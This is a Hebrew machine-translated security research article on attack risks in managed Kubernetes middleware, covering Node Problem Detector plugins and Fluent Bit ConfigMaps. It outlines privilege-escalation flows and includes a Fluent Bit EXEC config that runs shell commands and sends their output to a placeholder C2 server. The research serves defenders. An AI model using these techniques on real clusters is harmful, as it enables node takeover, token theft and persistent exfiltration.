אזור אפור ב-Kubernetes: סיכונים ברכיבי קצה בשרתי קלאסטר מנוהלים
אמ;לק
המאמר בוחן את הסיכונים הביטחוניים הנובעים מרכיבי קצה (middleware) בקלאסטרים מנוהלים של Kubernetes. הוא מציע המלצות לאבטחת קלאסטרים והפחתת סיכוני אבטחה פוטנציאליים הנובעים מפערים בניהול רכיבי אלה. הבנת הסיכונים הללו קריטית לאבטחת תשתית קוברנטיס.
סיכום בעברית: מערכת VibeSec · מדיניות המקורות
נוסף ל-VibeSec:
כותרת מקורית: Kubernetes Grey Zone: Risks in Managed Cluster Middleware

התוכן המלא בעברית
תרגום אוטומטי מהמקור; מונחים טכניים נשארו באנגלית. לנוסח המחייב — הכתבה המקורית.
אשכולות מנוהלים הפכו לדרך המקובלת לפריסה ותפעול של עומסי עבודה בייצור בסביבת Kubernetes. זה נובע בחלקו מהשירותים והתכונות המובנים שספקי שירותי ענן (CSPs) אורזים בהצעות ה-Kubernetes שלהם. המספרים הפנימיים שלנו מראים כי לכ-83% מהלקוחות המשתמשים ב-Kubernetes יש אשכולות המנוהלים על ידי AKS, EKS או GKE. עם זאת, מעט ידוע על הסיכונים שהשירותים והתכונות הנוספים הללו מביאים איתם. בעוד שהפצת וניל (Vanilla) של Kubernetes הייתה כפופה לסדרה של הערכות אבטחה ומודלים של איומים, רכיבי אשכול ספציפיים ל-CSP נותרו מחוץ לרדאר של קהילת האבטחה. אנו מכנים רכיבים אלו תוכנת תווך מנוהלת לאשכולות (Managed Cluster Middleware - MCM). האם MCM מציג סיכוני אבטחה נוספים, ואם כן, אילו סוגים? באילו בקרות אבטחה יכולים מפעילי אשכולות להשתמש כדי להפחית סיכונים אלו? אלו השאלות שבהן נעסוק בפוסט זה.
מהי תוכנת תווך מנוהלת לאשכולות (MCM)?
אנו מגדירים תווך אשכול מנוהל כרכיב תוכנה ש:
• אינו רכיב ליבה ב-control plane של Kubernetes הדרוש לפונקציונליות בסיסית של האשכול; ו
לחלופין, רכיבי MCM מכונים לעיתים תוספים (add-ons) ופלאגינים. רשימה ראשונית של תוספים בעץ ה-upstream של Kubernetes ניתן למצוא כאן. עם זאת, זו אינה רשימה ממצה שכן ספקי ענן יכולים לנהל מלאי MCM ציבורי או פרטי משלהם. כמה דוגמאות לתוכנת תווך מנוהלת לאשכולות כוללות את container-watcher DaemonSet ב-GKE, פריסת osm-controller ב-AKS, ו-aws-node DaemonSet ב-EKS.
תוכנת תווך מנוהלת לאשכולות יכולה לפעול כעומסי עבודה ב-Kubernetes או כתהליכים רגילים על ה-node. לדוגמה, ניתן לתייג את תהליך node-exporter במארחי AKS כ-MCM, בעוד שפריסות kube-proxy ו-CoreDNS הן חלקים קריטיים ב-control plane של Kubernetes ולכן לא ניתן להחשיב אותן כתוכנת תווך. הסוכן OMI באשכולות AKS גם הוא אינו נחשב לתוכנת תווך מכיוון שהוא אינו מקיים אינטראקציה עם ה-kube-apiserver ואינו נתפס כחלק מהאשכול.
נשתמש באשכול מנוהל בגרסת ברירת מחדל v1.25 כדוגמה. נוסף על ה-control plane המסורתי של Kubernetes, תקבלו 5 פריסות ו-4 DaemonSets ב-GKE, 6 פריסות ו-7 DaemonSets ב-AKS, ופריסה אחת ו-2 DaemonSets ב-EKS. יתרה מכך, ניתן לכנות גם מספר תהליכים נוספים ברמת המארח כתוכנת תווך, שכן הם מקיימים אינטראקציה עם השרת של Kubernetes ושייכים לאקוסיסטם של האשכול.
בַּעֲלוּת
תפיסה שגויה נפוצה לגבי תווך אשכול מנוהל היא שהאחריות לאבטחה ולתחזק אותה מוטלת אך ורק על CSP. זה לא המקרה.
הביטו במודל האחריות המשותפת באשכולות מנוהלים בתרשים שלהלן. MCM הוא חלק מה-master nodes ומה-worker nodes. מכיוון שהלקוח קובע את תהליך השדרוג של ה-worker nodes, קיימים שני תרחישים בעייתיים: ראשית, הלקוח מוצא פגיעות או באג ב-MCM על גבי worker node ומעוניין לתקן אותו, אך לא קיים תיקון; שנית, ספק הענן (CSP) מעוניין לתקן את תוכנת התווך הפגיעה אך אינו יכול ליזום שדרוג של worker node ללא אישור הלקוח. זוהי בעיה הדומה לזו שנחשפה על ידי Wiz בהרצאת ה-Cloud Grey Zone שלהם בכנס RSA, אלא שהפעם היא מתרחשת ברמת ה-Kubernetes ולא ברמת הענן.
סיכונים והתקפות
מצב אבטחה (Security Posture)
ביצענו הערכת תנוחת אבטחה בסיסית של DaemonSets ושל פריסות שזוהו באשכול המנוהל המוגדר כברירת מחדל v1.25 בסעיף למעלה. אלו הם כמה מהממצאים החשובים ביותר:
• משטח פריצה מוגדל (container escape) - 32% (8 מתוך 25) מהרכיבים חולקים namespaces עם המארח.
• השפעה גדולה יותר במקרה של פריצה מהמיכל - 32% (8 מתוך 25) מהרכיבים כוללים קונטיינרים בעלי הרשאות גבוהות (privileged) או קונטיינרים עם יכולות (capabilities) נוספות.
• תצורה מסוכנת - 32% (8 מתוך 25) מהרכיבים כוללים פודים עם נפחי אחסון רגישים של המארח המותקנים בהם.
יתרה מכך, סקרנו את ההרשאות המוקצות לישויות (principals) של תוכנת התווך. למרבה המזל, לא מצאנו מקרים של מתן הרשאות יתר; ספקי הענן מצליחים לשמור על הרשאות RBAC ברמה המינימלית הנדרשת. עם זאת, המינימום הנדרש כולל לעיתים קרובות הרשאות גבוהות, בשל אופי הפעולות שרכיבי MCM נדרשים לבצע.
ממצאים אלו מראים כי ההשפעה של פשרה (compromise) בתוכנת תווך מנוהלת לאשכולות עלולה להיות חמורה. כדי להדגים כיצד סיכון זה מתממש בפועל, פיתחנו שני תרחישי תקיפה.
הסלמה של הרשאות באמצעות Node Problem Detector
במהלך חקירות תנוחת האבטחה, בדקנו את יומני ה-kube-audit כדי לקבל נראות לתוך התנהגות זמן הריצה של תווך אשכול מנוהל. כך גילינו את Node Problem Detector (NPD).
NPD הוא דמון שרץ על כל צומת ומדווח על בעיות שהוא מזהה לשרת K8s API. באופן מעניין, NPD יכול לפעול כ-DaemonSet או כשירות מערכת ברמת המארח (כפי שקורה ב-AKS ו-GKE). למרות ש-NPD אינו מותקן כברירת מחדל ב-EKS, מדריך השיטות המומלצות של EKS ממליץ על פריסת ברירת המחדל של DaemonSet . NPD פועל כרכיב Kubernetes על ידי הנחת זהות הקובלט מקריאת ה-kubeconfig המקומי. כך מופיעות הפעולות שלו ביומן ה-kube-audit ב-AKS Log Analytics:
ל-NPD יש תכונה מעניינת הנקראת custom plugin monitor המאפשרת הוספת תוספים, שהם למעשה סקריפטים של bash. NPD לוקח את הסקריפטים הללו ומבצע אותם בתנאים המתוארים בקבצי JSON מאותה ספריית תוספים. קל לאתר את הספריות הללו על ידי בדיקת שורת הפקודה של תהליך ה-NPD ב-GKE (/home/kubernetes/npd-custom-plugins/configs) וב-AKS (/etc/node-problem-detector.d/custom-plugin-monitor).
הידע הזה של NPD יכול לשמש ליצירת התקפה. התרשים הבא ממחיש זרימת התקפת הסלמה של הרשאות שהצגנו ב-KubeCon 2023 Europe:
ראשית, תוקף בעל הרשאות כתיבה לספריית התוספים המותאמים אישית של NPD יכול להשיג ביצוע קוד תקופתי עם הרשאות root על המארח. בשילוב עם טכניקות טיפוסיות כגון הטמעת SSH-key, הרצת כורים לכריית מטבעות דיגיטליים וחילוץ נתונים מקומיים, התוקף יכול למנף הרשאות אלו כדי לגשת לאסימונים (tokens) השייכים לפודים אחרים המתוזמנים על אותו צומת. לאחר מכן, הם יכולים לנוע לרוחב (lateral movement) לפודים ולצמתים אחרים ולכתוב לספריית התוספים המותאמים אישית באמצעות CVE של כתיבת קובץ על פוד עם מיפוי נפח מתאים, שימוש בתמונת רישום פגומה (compromised registry image), או פריצה מהמיכל (pod escape). ניתן להרחיב את היקף המתקפה על ידי הגורמים הבאים:
• ביצוע תקופתי של קוד זדוני על הצומת
• ביצוע קוד זדוני בצומת כ-root שעוקף את ה-API server
• עקיפת פתרונות EDR על הצומת, מכיוון ש-NPD הוא רכיב מהימן עם פעולות מורשות
זרימת ההתקפה הזו NPD נחשבת להסלמה של הרשאות בהתחשב שהיריב ממנף שירות קיים כדי לשפר את היכולות הראשוניות שלו.
הסלמה של הרשאות באמצעות Fluent Bit ConfigMap
נושא זרימת ההתקפה השנייה הוא מרכיב ידוע Fluent Bit. Fluent Bit הוא מעבד ומעביר רישום ומדדים מהיר, קל משקל וניתן להרחבה במיוחד. הוא מותקן על כל GKE אשכול בתור DaemonSet. ב-EKS, ניתן לפרוס את Fluent Bit באופן אופציונלי כ-DaemonSet ולשלב אותו עם Amazon CloudWatch.
תצורת Fluent Bit נשלטת על ידי ConfigMaps המכונים fluentbit-gke-config-v1.2.0 ב-GKE ו-fluent-bit-config ב-EKS. אובייקטי ConfigMap אלו מגדירים מקורות יומנים, פלטים, ניתוח, עיבוד ואפשרויות רבות אחרות לניהול יומנים. ניתן להרחיב פונקציונליות זו באמצעות פלאגינים כמו EXEC. הדוגמה הבאה לשימוש בפלאגין EXEC מתוך התיעוד של Fluent Bit מראה את היכולת להגדיר ולהפעיל פקודות מעטפת (shell) מעת לעת, וכן לשלוט ביעד ובפורמט של פלט הפקודה:
[INPUT] Name exec Tag id Command hostname && id Interval_Sec 10 Interval_NSec 0 Buf_Size 8mb [OUTPUT] Name http Match id Host: < C2 server I P > Port: < C2 server por t >
מידע זה מניח את הבסיס לזרימת התקיפה ConfigMap, אשר מומחשת בתרשים שלהלן.
ערכנו גם הדגמה מלאה של המתקפה הזו ב-KubeCon, החל מספירת תרמילים ומעבר דרך ConfigMap הרעלה, חילוץ אסימוני שירות לשרת C2 ובסופו של דבר סיבוב לצמתים אחרים.
מתקפה זו נחשבת להסלמת הרשאות מאחר שתוקף מנצל לרעה רכיב מהימן כדי להשיג ביצוע קוד תקופתי יציב, באמצעות הרשאה לעדכן את ה-ConfigMap של Fluent Bit. הגורמים המחמירים את המתקפה הם:
• קוד זדוני העמיד בפני הפעלה מחדש של ה-node/pod, שכן הוא נמצא בתצורה המאוחסנת ב-etcd
• עקיפת ה-kube-apiserver על ידי הפוד של Fluent Bit
• הפצה לכל הצמתים (צמתי האשכול מקבלים את התצורה החדשה כאשר הם עוברים הגדלה אוטומטית - autoscale)
למרות שהרשאות חשבון השירות ומצב אבטחת הפוד של Fluent Bit יכולים להגביל את היקף המתקפה, פונקציית איסוף היומנים המרכזית שלו דורשת הרשאות גבוהות ומשטח משותף משמעותי עם המארח.
הנחיות ומגבלות הפחתה
כעת, לאחר שאנו מכירים חלק מהסיכונים הכרוכים בתוכנת תווך מנוהלת לאשכולות, בואו נראה אילו אפשרויות הפחתה עומדות בפנינו. מכיוון ש-MCM נוצר ומתוחזק בדרך כלל על ידי ספקי הענן, האפשרויות שלנו מוגבלות. העובדה שתוכנת התווך מצורפת לרוב ל-control plane אינה מסייעת בהפחתת סיכונים; נפוץ מאוד להחריג את ה-control plane ואת רכיבי ה-MCM מתחולת בקרות האבטחה. כמה דוגמאות כוללות:
• החרגת חוקי Falco עבור תמונות קונטיינר מסוימות
• החרגת namespace המערכת (kube-system) ממנגנון ה-Gatekeeper
בהתחשב בסבירות הגבוהה להחרגת תוכנות תווך מנוהלות לאשכולות מבקרי אבטחה, חיוני ליישם בקרות אלו כראוי. נתייחס תחילה לבקרות אבטחה קלאסיות שלמרבה הצער אינן יעילות בהקשר של MCM, ולאחר מכן נעבור לאלו שכן פועלות.
לא עובד - Pod Security Standards
ב-Kubernetes v1.21, מדיניות אבטחת פודים (Pod Security Policies - PSP) הוצאה משימוש באופן רשמי והוחלפה ב-Pod Security Admission (PSA). מנגנון PSA מיישם את תקני אבטחת הפודים (Pod Security Standards - PSS), קבוצת מדינויות המתארות מאפיינים שונים הקשורים לאבטחה של עומסי עבודה באשכול Kubernetes. עם זאת, ה-namespaces מסוג kube-system ו-kube-node-lease ב-AKS ו-EKS, וכן gatekeeper-system ב-AKS, פטורים מיישום PSA:
$ kubectl label ns kube-system pod-security.kubernetes.io/enforce=restricted Warning: namespace "kube-system" is exempt from Pod Security, and the policy (enforce = restricted:latest ) will be ignored
מכיוון שרוב תוכנות התווך המנוהלות לאשכולות שייכות כברירת מחדל ל-kube-system, מנגנון ה-PSA הופך לחסר תועלת בהקשר של הגנה על MCM.
לא עובד - User מרחבי שמות
Kubernetes v1.25 הציגה תמיכה בגרסת אלפא עבור Linux user namespaces (userns). מרחבי שמות של משתמשים מקלים על מפעילי אשכולות לצמצם את ההשפעה הפוטנציאלית של בריחה מהקונטיינר ולהעניק הרשאות נוספות לפודים בצורה מאובטחת יותר. עם זאת, תנאים מסוימים הנובעים מחוסר הגמישות של ה-userns, כגון גישה לנפחי אחסון משותפים, Linux namespaces משותפים ברמת המארח ומשאבי namespace ראשוניים, עשויים למנוע העברת עומסי עבודה.
לאחר סקירת הדרישות של תוכנת התווך באשכול המנוהל בגרסת ברירת המחדל v1.25 שהוזכר קודם, גילינו כי לא ניתן להעביר אוטומטית 52% (13 מתוך 25 רכיבים) לשימוש ב-userns בתצורה הנוכחית שלהם. יתרה מכך, רכיבי MCM הפועלים ברמת המארח אינם מסוגלים מטבעם להשתמש ב-userns.
עובד - לא מפעיל מכולות כשורש
‘אל תפעיל קונטיינרים כ-root’ היא מנטרת אבטחה שמלווה אותנו כבר שנים. עם זאת, רוב הקונטיינרים פועלים כ-root בשל קשיי הגירה וההרשאות הנדרשות עבור תהליכים רבים. הפעלת קונטיינרים כמשתמש שאינו root יכולה לא רק להגביל את ההשפעה של בריחה מהקונטיינר, אלא גם להפחית את יכולתם של תוקפים לנצל הגדרות שגויות (למשל כתיבה לספריית התוספים המותאמים אישית של NPD). זה חל הן על קונטיינרים מסוג MCM והן על עומסי עבודה של נתונים.